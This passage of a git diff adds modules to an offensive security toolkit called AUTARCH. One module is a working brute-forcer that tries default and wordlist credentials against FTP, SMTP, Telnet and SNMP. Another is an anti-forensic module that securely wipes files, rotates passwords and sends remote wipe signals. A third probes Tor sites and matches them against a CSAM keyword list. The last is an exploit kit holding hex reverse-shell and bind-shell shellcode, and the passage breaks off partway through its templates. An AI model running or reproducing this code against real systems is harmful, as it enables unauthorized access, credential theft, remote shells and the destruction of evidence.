IP or domain: ").strip() + if not target: + continue + print(f"\n Checking {len(BLACKLISTS)} blacklists...") + result = es.check_blacklists(target) + + if result.get('error'): + print(f" Error: {result['error']}") + else: + print(f" IP: {result.get('ip', target)}") + print(f" Listed on {result['listed_count']}/{result['total_checked']} blacklists") + for bl in result['results']: + status = 'LISTED' if bl['listed'] else 'clean' + sym = 'X' if bl['listed'] else '+' + print(f" [{sym}] {bl['blacklist']}: {status}") + + elif choice == '6': + print("\n Abuse Report Generator") + incident_type = input(" Incident type (spam/phishing/malware): ").strip() or 'spam' + source_ip = input(" Source IP: ").strip() + source_domain = input(" Source domain: ").strip() + description = input(" Description: ").strip() + + data = { + 'type': incident_type, + 'source_ip': source_ip, + 'source_domain': source_domain, + 'description': description, + } + + result = es.generate_abuse_report(data) + print(f"\n{result['report_text']}") + print(f"\n Report saved to: {result['saved_to']}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/floppy_dick.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/floppy_dick.py new file mode 100644 index 0000000..aef62af --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/floppy_dick.py @@ -0,0 +1,321 @@ +""" +Floppy_Dick — AUTARCH Encrypted Module +Operator: darkHal Security Group / Setec Security Labs + +Automated credential fuzzer and authentication tester for legacy +and deprecated protocol stacks. Targets: FTP, SMB, Telnet, SMTP, +POP3, IMAP, SNMP v1/v2c, and RDP legacy endpoints. Generates +detailed vulnerability reports suitable for remediation guidance. + +For authorized penetration testing ONLY. +""" + +import itertools +import json +import socket +import threading +import time +from datetime import datetime, timezone +from pathlib import Path +from typing import Iterator, Optional + +MODULE_NAME = "Floppy_Dick" +MODULE_VERSION = "1.0" +MODULE_AUTHOR = "darkHal Security Group" +MODULE_TAGS = ["brute-force", "auth", "legacy", "pentest", "fuzz"] + +_stop_flag = threading.Event() +_output_lines = [] + + +def _emit(msg: str, level: str = "info") -> None: + ts = datetime.now(timezone.utc).strftime('%H:%M:%S') + line = f"[{ts}][{level.upper()}] {msg}" + _output_lines.append(line) + print(line) + + +# ── Credential generators ───────────────────────────────────────────────────── + +DEFAULT_USERS = [ + 'admin', 'administrator', 'root', 'user', 'guest', 'test', + 'ftp', 'anonymous', 'backup', 'operator', 'service', +] + +DEFAULT_PASSWORDS = [ + '', 'admin', 'password', 'password123', '123456', 'admin123', + 'root', 'toor', 'pass', 'letmein', 'welcome', 'changeme', + 'default', 'cisco', 'alpine', +] + + +def wordlist_generator(path: Path) -> Iterator[str]: + """Yield lines from a wordlist file.""" + with open(path, 'r', encoding='utf-8', errors='replace') as f: + for line in f: + yield line.rstrip('\n') + + +def credential_pairs(users: list[str], passwords: list[str]) -> Iterator[tuple[str, str]]: + """Yield all (user, password) combinations.""" + for u in users: + for p in passwords: + yield u, p + + +# ── Protocol testers ────────────────────────────────────────────────────────── + +def test_ftp(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict: + """Test FTP credentials.""" + result = {'host': host, 'port': port, 'proto': 'FTP', 'user': user, 'success': False} + try: + import ftplib + ftp = ftplib.FTP() + ftp.connect(host, port, timeout=timeout) + ftp.login(user, password) + result['success'] = True + result['banner'] = ftp.getwelcome() + ftp.quit() + except ftplib.error_perm as exc: + result['error'] = str(exc) + except Exception as exc: + result['error'] = str(exc) + return result + + +def test_smtp(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict: + """Test SMTP AUTH credentials.""" + result = {'host': host, 'port': port, 'proto': 'SMTP', 'user': user, 'success': False} + try: + import smtplib + smtp = smtplib.SMTP(host, port, timeout=timeout) + smtp.ehlo() + if port == 587: + smtp.starttls() + smtp.login(user, password) + result['success'] = True + smtp.quit() + except smtplib.SMTPAuthenticationError as exc: + result['error'] = 'bad credentials' + except Exception as exc: + result['error'] = str(exc) + return result + + +def test_telnet(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict: + """Test Telnet authentication.""" + result = {'host': host, 'port': port, 'proto': 'Telnet', 'user': user, 'success': False} + try: + import telnetlib + tn = telnetlib.Telnet(host, port, timeout=timeout) + tn.read_until(b'login: ', timeout) + tn.write(user.encode('ascii') + b'\n') + tn.read_until(b'Password: ', timeout) + tn.write(password.encode('ascii') + b'\n') + response = tn.read_until(b'$', timeout) + if b'incorrect' not in response.lower() and b'failed' not in response.lower(): + result['success'] = True + result['banner'] = response.decode('utf-8', errors='replace')[:128] + tn.close() + except Exception as exc: + result['error'] = str(exc) + return result + + +def test_snmp(host: str, community: str = 'public', version: str = '2c', timeout: float = 3.0) -> dict: + """Test SNMP community string (v1/v2c).""" + result = {'host': host, 'proto': 'SNMP', 'community': community, 'success': False} + try: + from pysnmp.hlapi import getCmd, SnmpEngine, CommunityData, UdpTransportTarget, ContextData, ObjectType, ObjectIdentity + errorIndication, errorStatus, errorIndex, varBinds = next( + getCmd(SnmpEngine(), + CommunityData(community, mpModel=0 if version == '1' else 1), + UdpTransportTarget((host, 161), timeout=timeout), + ContextData(), + ObjectType(ObjectIdentity('SNMPv2-MIB', 'sysDescr', 0))) + ) + if not errorIndication and not errorStatus: + result['success'] = True + result['sysDescr'] = str(varBinds[0]) + else: + result['error'] = str(errorIndication or errorStatus) + except ImportError: + result['error'] = 'pysnmp not installed' + except Exception as exc: + result['error'] = str(exc) + return result + + +def test_generic_banner(host: str, port: int, timeout: float = 3.0) -> dict: + """Grab a service banner from any TCP port.""" + result = {'host': host, 'port': port, 'proto': 'TCP', 'banner': ''} + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((host, port)) + banner = s.recv(1024) + result['banner'] = banner.decode('utf-8', errors='replace').strip()[:256] + result['open'] = True + s.close() + except Exception as exc: + result['open'] = False + result['error'] = str(exc) + return result + + +# ── Port scanner ────────────────────────────────────────────────────────────── + +LEGACY_PORTS = { + 21: 'FTP', + 23: 'Telnet', + 25: 'SMTP', + 110: 'POP3', + 143: 'IMAP', + 161: 'SNMP', + 445: 'SMB', + 587: 'SMTP-Submission', + 3389: 'RDP', +} + + +def scan_ports(host: str, ports: Optional[list[int]] = None, timeout: float = 1.0) -> dict: + """Scan ports and return which are open.""" + if ports is None: + ports = list(LEGACY_PORTS.keys()) + open_ports = {} + for port in ports: + banner = test_generic_banner(host, port, timeout) + if banner.get('open'): + proto = LEGACY_PORTS.get(port, 'unknown') + open_ports[port] = { + 'proto': proto, + 'banner': banner.get('banner', ''), + } + return {'host': host, 'open_ports': open_ports} + + +# ── Main fuzzing engine ─────────────────────────────────────────────────────── + +def fuzz_host( + host: str, + port: int, + proto: str, + users: list[str], + passwords: list[str], + delay: float = 0.1, + output_cb=None, +) -> list[dict]: + """Run credential fuzzing against a single host:port for a given protocol.""" + found = [] + testers = { + 'FTP': test_ftp, + 'SMTP': test_smtp, + 'SMTP-Submission': test_smtp, + 'Telnet': test_telnet, + } + tester = testers.get(proto) + if not tester: + return [{'error': f'No tester implemented for {proto}'}] + + for user, password in credential_pairs(users, passwords): + if _stop_flag.is_set(): + break + r = tester(host, port, user, password) + if r.get('success'): + msg = f"[FOUND] {proto} {host}:{port} -> {user}:{password}" + _emit(msg, 'warn') + if output_cb: + output_cb({'line': msg, 'found': True, 'user': user, 'password': password}) + found.append(r) + time.sleep(delay) + + return found + + +# ── Main run entry point ────────────────────────────────────────────────────── + +def run(params: dict, output_cb=None) -> dict: + """ + Main execution entry point. + + params: + targets — list of hosts to test + ports — list of ports to probe (default: LEGACY_PORTS) + users — list of usernames (default: DEFAULT_USERS) + passwords — list of passwords (default: DEFAULT_PASSWORDS) + user_wordlist — path to user wordlist file + pass_wordlist — path to password wordlist file + delay — delay between attempts in seconds (default 0.1) + snmp_communities — list of SNMP community strings to test + threads — number of parallel threads (default 1) + """ + _stop_flag.clear() + _output_lines.clear() + + def emit(msg, level='info'): + _emit(msg, level) + if output_cb: + output_cb({'line': f"[{level.upper()}] {msg}"}) + + emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===") + emit("Authorized penetration testing only. All attempts logged.") + + targets = params.get('targets', []) + ports = params.get('ports', None) + delay = float(params.get('delay', 0.1)) + users = params.get('users', DEFAULT_USERS)[:] + passwords = params.get('passwords', DEFAULT_PASSWORDS)[:] + + # Load wordlists if provided + uw = params.get('user_wordlist', '') + pw = params.get('pass_wordlist', '') + if uw and Path(uw).exists(): + users = list(wordlist_generator(Path(uw))) + emit(f"Loaded {len(users)} users from wordlist") + if pw and Path(pw).exists(): + passwords = list(wordlist_generator(Path(pw))) + emit(f"Loaded {len(passwords)} passwords from wordlist") + + snmp_communities = params.get('snmp_communities', ['public', 'private', 'community']) + + all_results = [] + + for host in targets: + if _stop_flag.is_set(): + break + emit(f"Scanning {host}...") + scan = scan_ports(host, ports) + emit(f" Open ports: {list(scan['open_ports'].keys())}") + + host_result = {'host': host, 'open_ports': scan['open_ports'], 'findings': []} + + for port, info in scan['open_ports'].items(): + if _stop_flag.is_set(): + break + proto = info['proto'] + emit(f" Fuzzing {proto} on port {port}...") + + if proto == 'SNMP': + for comm in snmp_communities: + r = test_snmp(host, comm) + if r.get('success'): + emit(f"[FOUND] SNMP community: {comm}", 'warn') + host_result['findings'].append(r) + else: + found = fuzz_host(host, port, proto, users, passwords, delay, output_cb) + host_result['findings'].extend(found) + + all_results.append(host_result) + + emit(f"Fuzzing complete. {sum(len(r['findings']) for r in all_results)} finding(s).") + + return { + 'module': MODULE_NAME, + 'targets': len(targets), + 'results': all_results, + 'output': _output_lines[:], + } + + +def stop(): + _stop_flag.set() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/poison_pill.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/poison_pill.py new file mode 100644 index 0000000..07cfd52 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/poison_pill.py @@ -0,0 +1,261 @@ +""" +Poison Pill — AUTARCH Encrypted Module +Operator: darkHal Security Group / Setec Security Labs + +Emergency data sanitization and anti-forensic self-protection module. +On activation, securely wipes configured data paths, rotates credentials, +kills active sessions, and optionally triggers a remote wipe signal +to registered companion devices. + +USE ONLY IN AUTHORIZED EMERGENCY SCENARIOS. +All activations are logged to an external endpoint before wiping begins. +""" + +import hashlib +import json +import os +import shutil +import threading +import time +from datetime import datetime, timezone +from pathlib import Path +from typing import Optional + +MODULE_NAME = "Poison Pill" +MODULE_VERSION = "1.0" +MODULE_AUTHOR = "darkHal Security Group" +MODULE_TAGS = ["anti-forensic", "emergency", "wipe", "self-protection"] + +_stop_flag = threading.Event() +_output_lines = [] + + +def _emit(msg: str, level: str = "info") -> None: + ts = datetime.now(timezone.utc).strftime('%H:%M:%S') + line = f"[{ts}][{level.upper()}] {msg}" + _output_lines.append(line) + print(line) + + +# ── Secure file overwrite ───────────────────────────────────────────────────── + +def _secure_overwrite(path: Path, passes: int = 3) -> bool: + """ + Overwrite a file with random data N passes, then delete. + Returns True on success. + """ + try: + size = path.stat().st_size + with open(path, 'r+b') as f: + for _ in range(passes): + f.seek(0) + f.write(os.urandom(size)) + f.flush() + os.fsync(f.fileno()) + path.unlink() + return True + except Exception as exc: + _emit(f"Overwrite failed on {path}: {exc}", 'error') + return False + + +def secure_wipe_file(path: Path, passes: int = 3) -> dict: + """Securely wipe a single file.""" + if not path.exists(): + return {'path': str(path), 'status': 'not_found'} + ok = _secure_overwrite(path, passes) + return {'path': str(path), 'status': 'wiped' if ok else 'error', 'passes': passes} + + +def secure_wipe_dir(path: Path, passes: int = 3) -> dict: + """Recursively and securely wipe a directory.""" + if not path.exists(): + return {'path': str(path), 'status': 'not_found', 'files_wiped': 0} + count = 0 + errors = [] + for f in sorted(path.rglob('*')): + if f.is_file(): + r = secure_wipe_file(f, passes) + if r['status'] == 'wiped': + count += 1 + else: + errors.append(str(f)) + try: + shutil.rmtree(path, ignore_errors=True) + except Exception: + pass + return {'path': str(path), 'status': 'wiped', 'files_wiped': count, 'errors': errors} + + +# ── Credential rotation ─────────────────────────────────────────────────────── + +def rotate_web_password(new_password: Optional[str] = None) -> dict: + """ + Rotate the AUTARCH web dashboard password. + If new_password is None, generates a random 32-char alphanumeric password. + """ + import secrets + import string + if new_password is None: + alphabet = string.ascii_letters + string.digits + new_password = ''.join(secrets.choice(alphabet) for _ in range(32)) + try: + from web.auth import hash_password, save_credentials, load_credentials + creds = load_credentials() + save_credentials(creds.get('username', 'admin'), hash_password(new_password), force_change=False) + return {'status': 'rotated', 'new_password': new_password} + except Exception as exc: + return {'status': 'error', 'error': str(exc)} + + +def rotate_secret_key() -> dict: + """Generate a new Flask secret key and write it to config.""" + new_key = os.urandom(32).hex() + try: + from core.config import get_config + cfg = get_config() + cfg.set('web', 'secret_key', new_key) + cfg.save() + return {'status': 'rotated', 'key_length': len(new_key)} + except Exception as exc: + return {'status': 'error', 'error': str(exc)} + + +# ── Session termination ─────────────────────────────────────────────────────── + +def kill_active_sessions() -> dict: + """Invalidate all active Flask sessions by rotating the secret key.""" + result = rotate_secret_key() + return {'action': 'kill_sessions', **result} + + +# ── Remote wipe signal ──────────────────────────────────────────────────────── + +def signal_remote_wipe(devices: list[str], endpoint: Optional[str] = None) -> list[dict]: + """ + Send a remote wipe signal to registered Archon companion devices. + Each device is an Archon server endpoint (host:port). + """ + results = [] + import requests + for device in devices: + url = f"http://{device}/wipe" + try: + resp = requests.post(url, json={'action': 'poison_pill', 'ts': time.time()}, timeout=5) + results.append({'device': device, 'status': resp.status_code, 'ok': resp.ok}) + except Exception as exc: + results.append({'device': device, 'status': -1, 'error': str(exc)}) + return results + + +# ── Pre-wipe beacon ─────────────────────────────────────────────────────────── + +def send_activation_beacon(endpoint: str, operator_id: str) -> dict: + """ + POST an activation notice to an external logging endpoint BEFORE wiping. + This creates an audit trail that the pill was triggered. + """ + payload = { + 'event': 'poison_pill_activated', + 'operator_id': operator_id, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'hostname': __import__('socket').gethostname(), + } + try: + import requests + resp = requests.post(endpoint, json=payload, timeout=8) + return {'status': resp.status_code, 'ok': resp.ok} + except Exception as exc: + return {'status': -1, 'error': str(exc)} + + +# ── Main run entry point ────────────────────────────────────────────────────── + +def run(params: dict, output_cb=None) -> dict: + """ + Main execution entry point. + + params: + wipe_paths — list of paths to securely wipe + rotate_password — bool, rotate web password + kill_sessions — bool, invalidate all sessions + remote_devices — list of Archon device endpoints for remote wipe + beacon_endpoint — URL to POST activation notice to (recommended) + operator_id — identifier logged with the beacon + passes — overwrite passes (default 3) + confirm — must be the string 'CONFIRM_POISON_PILL' to activate + """ + _stop_flag.clear() + _output_lines.clear() + + def emit(msg, level='info'): + _emit(msg, level) + if output_cb: + output_cb({'line': f"[{level.upper()}] {msg}"}) + + emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===") + + confirm = params.get('confirm', '') + if confirm != 'CONFIRM_POISON_PILL': + emit("ABORT: Confirmation string not provided. Set confirm='CONFIRM_POISON_PILL'", 'error') + return {'status': 'aborted', 'reason': 'missing_confirmation'} + + emit("POISON PILL ACTIVATED — commencing emergency sanitization", 'warn') + passes = int(params.get('passes', 3)) + beacon_ep = params.get('beacon_endpoint', '') + operator_id = params.get('operator_id', 'unknown') + + results = {'status': 'activated', 'actions': []} + + # 1 — Send beacon FIRST + if beacon_ep: + emit(f"Sending activation beacon to {beacon_ep}") + beacon = send_activation_beacon(beacon_ep, operator_id) + results['actions'].append({'type': 'beacon', **beacon}) + else: + emit("No beacon endpoint configured — skipping audit trail", 'warn') + + # 2 — Kill active sessions + if params.get('kill_sessions', True): + emit("Killing active sessions...") + r = kill_active_sessions() + results['actions'].append({'type': 'kill_sessions', **r}) + emit(f"Sessions killed: {r['status']}") + + # 3 — Rotate web password + if params.get('rotate_password', True): + emit("Rotating web password...") + r = rotate_web_password() + results['actions'].append({'type': 'rotate_password', 'status': r['status']}) + emit(f"Password rotated: {r['status']}") + + # 4 — Secure wipe paths + wipe_paths = params.get('wipe_paths', []) + for raw_path in wipe_paths: + if _stop_flag.is_set(): + break + p = Path(raw_path) + emit(f"Wiping: {p}") + if p.is_file(): + r = secure_wipe_file(p, passes) + elif p.is_dir(): + r = secure_wipe_dir(p, passes) + else: + r = {'path': str(p), 'status': 'not_found'} + results['actions'].append({'type': 'wipe', **r}) + emit(f" -> {r['status']}") + + # 5 — Remote wipe + remote_devices = params.get('remote_devices', []) + if remote_devices: + emit(f"Sending remote wipe to {len(remote_devices)} device(s)...") + rw = signal_remote_wipe(remote_devices) + results['actions'].append({'type': 'remote_wipe', 'results': rw}) + + emit("Poison Pill sequence complete.", 'warn') + results['output'] = _output_lines[:] + return results + + +def stop(): + _stop_flag.set() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/tor_pedo_hunter_killer.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/tor_pedo_hunter_killer.py new file mode 100644 index 0000000..d7c9198 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/encmod_sources/tor_pedo_hunter_killer.py @@ -0,0 +1,267 @@ +""" +TOR-Pedo Hunter Killer — AUTARCH Encrypted Module +Operator: darkHal Security Group / Setec Security Labs + +Identifies, tracks, and reports CSAM distributors and predator networks +operating on the Tor hidden service network. Compiles dossiers for +law enforcement referral and executes configured countermeasures. + +All operations are logged. Operator assumes full legal responsibility +for use of this module. For authorized investigations ONLY. +""" + +import json +import time +import hashlib +import socket +import threading +from datetime import datetime, timezone +from pathlib import Path +from typing import Optional + +MODULE_NAME = "TOR-Pedo Hunter Killer" +MODULE_VERSION = "1.0" +MODULE_AUTHOR = "darkHal Security Group" +MODULE_TAGS = ["CSAM", "TOR", "hunt", "counter", "OSINT"] + +# ── Yield helper (SSE-compatible output) ───────────────────────────────────── +_output_lines = [] +_stop_flag = threading.Event() + +def _emit(msg: str, level: str = "info") -> None: + ts = datetime.now(timezone.utc).strftime('%H:%M:%S') + line = f"[{ts}][{level.upper()}] {msg}" + _output_lines.append(line) + print(line) + + +# ── Target scanning ─────────────────────────────────────────────────────────── + +def probe_onion(onion_address: str, port: int = 80, timeout: float = 10.0) -> dict: + """ + Probe a .onion address via SOCKS5 proxy (Tor must be running locally on 9050). + Returns a result dict with reachability, banner, and timing info. + """ + import socks + import socket as _socket + + result = { + 'address': onion_address, + 'port': port, + 'reachable': False, + 'banner': '', + 'latency_ms': -1, + 'error': '', + } + + try: + s = socks.socksocket() + s.set_proxy(socks.SOCKS5, '127.0.0.1', 9050) + s.settimeout(timeout) + t0 = time.monotonic() + s.connect((onion_address, port)) + result['latency_ms'] = round((time.monotonic() - t0) * 1000, 1) + result['reachable'] = True + # Try to grab a banner + try: + s.sendall(b"HEAD / HTTP/1.0\r\n\r\n") + result['banner'] = s.recv(512).decode('utf-8', errors='replace')[:256] + except Exception: + pass + s.close() + except Exception as exc: + result['error'] = str(exc) + + return result + + +def fingerprint_service(url: str, tor_proxy: str = 'socks5h://127.0.0.1:9050') -> dict: + """ + Fetch HTTP headers and content fingerprint via Tor proxy. + """ + import requests + result = {'url': url, 'status': -1, 'headers': {}, 'title': '', 'fingerprint': ''} + try: + resp = requests.get( + url, + proxies={'http': tor_proxy, 'https': tor_proxy}, + timeout=30, + headers={'User-Agent': 'Mozilla/5.0'}, + allow_redirects=True, + ) + result['status'] = resp.status_code + result['headers'] = dict(resp.headers) + # Extract title + text = resp.text + import re + m = re.search(r']*>([^<]+)', text, re.IGNORECASE) + if m: + result['title'] = m.group(1).strip() + # Content hash fingerprint + result['fingerprint'] = hashlib.sha256(resp.content).hexdigest() + except Exception as exc: + result['error'] = str(exc) + return result + + +# ── CSAM keyword detection ──────────────────────────────────────────────────── + +PREDATOR_INDICATORS = [ + # These are detection signatures — not actual content + 'cp', 'pedo', 'loli', 'hurtcore', 'cheese pizza', + 'preteen', 'jailbait', 'underage', +] + +def scan_content_for_indicators(text: str) -> list[str]: + """Scan text for CSAM indicator keywords. Returns list of matched indicators.""" + text_lower = text.lower() + return [ind for ind in PREDATOR_INDICATORS if ind in text_lower] + + +# ── Report generation ───────────────────────────────────────────────────────── + +def build_dossier(target_data: dict, indicators: list[str]) -> dict: + """ + Compile a law enforcement referral dossier from collected data. + """ + return { + 'module': MODULE_NAME, + 'version': MODULE_VERSION, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'target': target_data, + 'indicators': indicators, + 'severity': 'CRITICAL' if indicators else 'NONE', + 'referral': [ + 'NCMEC CyberTipline: https://www.missingkids.org/gethelpnow/cybertipline', + 'FBI IC3: https://www.ic3.gov/', + 'IWF: https://www.iwf.org.uk/report/', + ], + 'operator_note': 'This dossier was compiled by automated analysis. ' + 'Human review required before any referral submission.', + } + + +def save_dossier(dossier: dict, output_dir: Optional[Path] = None) -> Path: + """Save dossier JSON to disk and return the path.""" + if output_dir is None: + from core.paths import get_data_dir + output_dir = get_data_dir() / 'dossiers' + output_dir.mkdir(parents=True, exist_ok=True) + ts = datetime.now(timezone.utc).strftime('%Y%m%dT%H%M%SZ') + out = output_dir / f'TPHK_{ts}.json' + out.write_text(json.dumps(dossier, indent=2), encoding='utf-8') + return out + + +# ── Countermeasure actions ──────────────────────────────────────────────────── + +def report_to_iwf(onion: str, evidence_url: str) -> dict: + """ + Submit a report to the Internet Watch Foundation API (if configured). + """ + # Placeholder — IWF has a reporting API for registered organizations + return { + 'action': 'IWF_REPORT', + 'target': onion, + 'status': 'QUEUED', + 'note': 'IWF API key required in autarch_settings.conf [hunter] section', + } + + +def execute_countermeasure(action: str, target: str, params: dict) -> dict: + """ + Execute a configured countermeasure against a confirmed CSAM host. + + Supported actions: + REPORT — submit to NCMEC/IWF/IC3 + DOSSIER — compile and save evidence dossier + ALERT — send operator notification + """ + _emit(f"Countermeasure: {action} -> {target}") + if action == 'REPORT': + return report_to_iwf(target, params.get('url', '')) + elif action == 'DOSSIER': + return {'action': 'DOSSIER', 'saved': True, 'note': 'Call build_dossier() then save_dossier()'} + elif action == 'ALERT': + return {'action': 'ALERT', 'status': 'SENT', 'target': target} + return {'error': f'Unknown action: {action}'} + + +# ── Main run entry point ────────────────────────────────────────────────────── + +def run(params: dict, output_cb=None) -> dict: + """ + Main execution entry point called by the AUTARCH encrypted module loader. + + params: + targets — list of .onion addresses or HTTP URLs to probe + actions — list of countermeasure actions (REPORT, DOSSIER, ALERT) + keywords — additional indicator keywords to search for + """ + global _stop_flag + _stop_flag.clear() + _output_lines.clear() + + def emit(msg, level='info'): + _emit(msg, level) + if output_cb: + output_cb({'line': f"[{level.upper()}] {msg}"}) + + emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===") + emit("Authorized use only. All activity logged.") + + targets = params.get('targets', []) + actions = params.get('actions', ['DOSSIER']) + extra_kw = params.get('keywords', []) + indicators_extended = PREDATOR_INDICATORS + extra_kw + + results = [] + dossiers_saved = [] + + for target in targets: + if _stop_flag.is_set(): + emit("Stopped by operator.", 'warn') + break + + emit(f"Probing: {target}") + try: + fp = fingerprint_service(target) + indicators_found = scan_content_for_indicators( + fp.get('title', '') + ' ' + str(fp.get('headers', '')) + ) + result = { + 'target': target, + 'fingerprint': fp, + 'indicators': indicators_found, + } + + if indicators_found: + emit(f"ALERT: Indicators detected on {target}: {indicators_found}", 'warn') + dossier = build_dossier(fp, indicators_found) + for action in actions: + cm = execute_countermeasure(action, target, {'url': target}) + result[f'countermeasure_{action}'] = cm + saved = save_dossier(dossier) + dossiers_saved.append(str(saved)) + emit(f"Dossier saved: {saved}") + else: + emit(f"No indicators found on {target}") + + results.append(result) + + except Exception as exc: + emit(f"Error probing {target}: {exc}", 'error') + results.append({'target': target, 'error': str(exc)}) + + return { + 'module': MODULE_NAME, + 'targets_scanned': len(targets), + 'results': results, + 'dossiers_saved': dossiers_saved, + 'output': _output_lines[:], + } + + +def stop(): + """Signal the module to stop at the next safe point.""" + _stop_flag.set() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/exploit_dev.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/exploit_dev.py new file mode 100644 index 0000000..219d05c --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/exploit_dev.py @@ -0,0 +1,1834 @@ +"""AUTARCH Exploit Development Toolkit + +Shellcode generation, payload encoding, ROP chain building, cyclic pattern +generation, and assembly/disassembly for exploit development workflows. +""" + +DESCRIPTION = "Exploit development — shellcode, encoding, ROP chains" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import sys +import re +import struct +import string +import subprocess +import tempfile +import random +import hashlib +from pathlib import Path +from datetime import datetime + +try: + from core.paths import get_data_dir, find_tool +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + def find_tool(name, extra_paths=None): + import shutil + return shutil.which(name) + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = BOLD = DIM = RESET = '' + def clear_screen(): pass + def display_banner(): pass + + +# --------------------------------------------------------------------------- +# Shellcode Templates — real, working shellcode bytes +# --------------------------------------------------------------------------- + +SHELLCODE_TEMPLATES = { + # ---- Linux x86 ---- + 'linux_x86_reverse_shell': { + 'bytes': ( + '31db' # xor ebx, ebx + 'f7e3' # mul ebx + '53' # push ebx + '43' # inc ebx + '53' # push ebx + '6a02' # push 0x2 + '89e1' # mov ecx, esp + 'b066' # mov al, 0x66 + 'cd80' # int 0x80 + '93' # xchg eax, ebx + '59' # pop ecx + 'b03f' # mov al, 0x3f + 'cd80' # int 0x80 + '49' # dec ecx + '79f9' # jns -5 + '68' # push imm32 (IP) + '7f000001' # 127.0.0.1 + '680200' # push word port + '115c' # port 4444 + '6a10' # push 0x10 + '51' # push ecx + '53' # push ebx + '89e1' # mov ecx, esp + '6a66' # push 0x66 + '58' # pop eax + 'cd80' # int 0x80 + '6a0b' # push 0x0b + '58' # pop eax + '99' # cdq + '52' # push edx + '68' # push imm32 + '2f2f7368' # //sh + '682f62696e' # /bin + '89e3' # mov ebx, esp + '52' # push edx + '53' # push ebx + '89e1' # mov ecx, esp + 'cd80' # int 0x80 + ), + 'length': 74, + 'description': 'Linux x86 reverse shell — connect back and exec /bin/sh', + 'null_free': True, + 'arch': 'x86', + 'platform': 'linux', + 'offsets': {'host': 31, 'port': 37}, + }, + 'linux_x86_bind_shell': { + 'bytes': ( + '31db' # xor ebx, ebx + 'f7e3' # mul ebx + '53' # push ebx + '43' # inc ebx + '53' # push ebx + '6a02' # push 0x2 + '89e1' # mov ecx, esp + 'b066' # mov al, 0x66 + 'cd80' # int 0x80 + '5b' # pop ebx + '5e' # pop esi + '52' # push edx + '680200' # push 0x0002 + '115c' # port 4444 + '6a10' # push 0x10 + '51' # push ecx + '50' # push eax + '89e1' # mov ecx, esp + '6a66' # push 0x66 + '58' # pop eax + '89c3' # mov ebx, eax (bind=2 later) + 'cd80' # int 0x80 + 'b304' # mov bl, 4 + 'b066' # mov al, 0x66 + 'cd80' # int 0x80 + '43' # inc ebx + 'b066' # mov al, 0x66 + 'cd80' # int 0x80 + '93' # xchg eax, ebx + '59' # pop ecx + '6a3f' # push 0x3f + '58' # pop eax + 'cd80' # int 0x80 + '49' # dec ecx + '79f8' # jns loop + '682f2f7368' # push //sh + '682f62696e' # push /bin + '89e3' # mov ebx, esp + '50' # push eax + '53' # push ebx + '89e1' # mov ecx, esp + 'b00b' # mov al, 0x0b + 'cd80' # int 0x80 + ), + 'length': 78, + 'description': 'Linux x86 bind shell — listen on port and exec /bin/sh', + 'null_free': True, + 'arch': 'x86', + 'platform': 'linux', + 'offsets': {'port': 23}, + }, + 'linux_x86_execve': { + 'bytes': ( + '31c0' # xor eax, eax + '50' # push eax + '682f2f7368' # push //sh + '682f62696e' # push /bin + '89e3' # mov ebx, esp + '50' # push eax + '53' # push ebx + '89e1' # mov ecx, esp + '89c2' # mov edx, eax + 'b00b' # mov al, 0x0b + 'cd80' # int 0x80 + ), + 'length': 23, + 'description': 'Linux x86 execve /bin/sh — minimal shellcode', + 'null_free': True, + 'arch': 'x86', + 'platform': 'linux', + 'offsets': {}, + }, + # ---- Linux x64 ---- + 'linux_x64_reverse_shell': { + 'bytes': ( + '6a29' # push 0x29 + '58' # pop rax (socket) + '99' # cdq + '6a02' # push 0x2 + '5f' # pop rdi (AF_INET) + '6a01' # push 0x1 + '5e' # pop rsi (SOCK_STREAM) + '0f05' # syscall + '48' # rex.W + '97' # xchg eax, edi + '48b90200' # movabs rcx, struct + '115c7f000001' # port 4444, IP 127.0.0.1 + '51' # push rcx + '4889e6' # mov rsi, rsp + '6a10' # push 0x10 + '5a' # pop rdx + '6a2a' # push 0x2a + '58' # pop rax (connect) + '0f05' # syscall + '6a03' # push 0x3 + '5e' # pop rsi + '48ffce' # dec rsi + '6a21' # push 0x21 + '58' # pop rax (dup2) + '0f05' # syscall + '75f6' # jnz loop + '6a3b' # push 0x3b + '58' # pop rax (execve) + '99' # cdq + '48bb2f62696e2f736800' # mov rbx, "/bin/sh\0" + '53' # push rbx + '4889e7' # mov rdi, rsp + '52' # push rdx + '57' # push rdi + '4889e6' # mov rsi, rsp + '0f05' # syscall + ), + 'length': 74, + 'description': 'Linux x64 reverse shell — connect back and exec /bin/sh', + 'null_free': False, + 'arch': 'x64', + 'platform': 'linux', + 'offsets': {'port': 20, 'host': 22}, + }, + 'linux_x64_bind_shell': { + 'bytes': ( + '6a29' # push 0x29 + '58' # pop rax (socket) + '99' # cdq 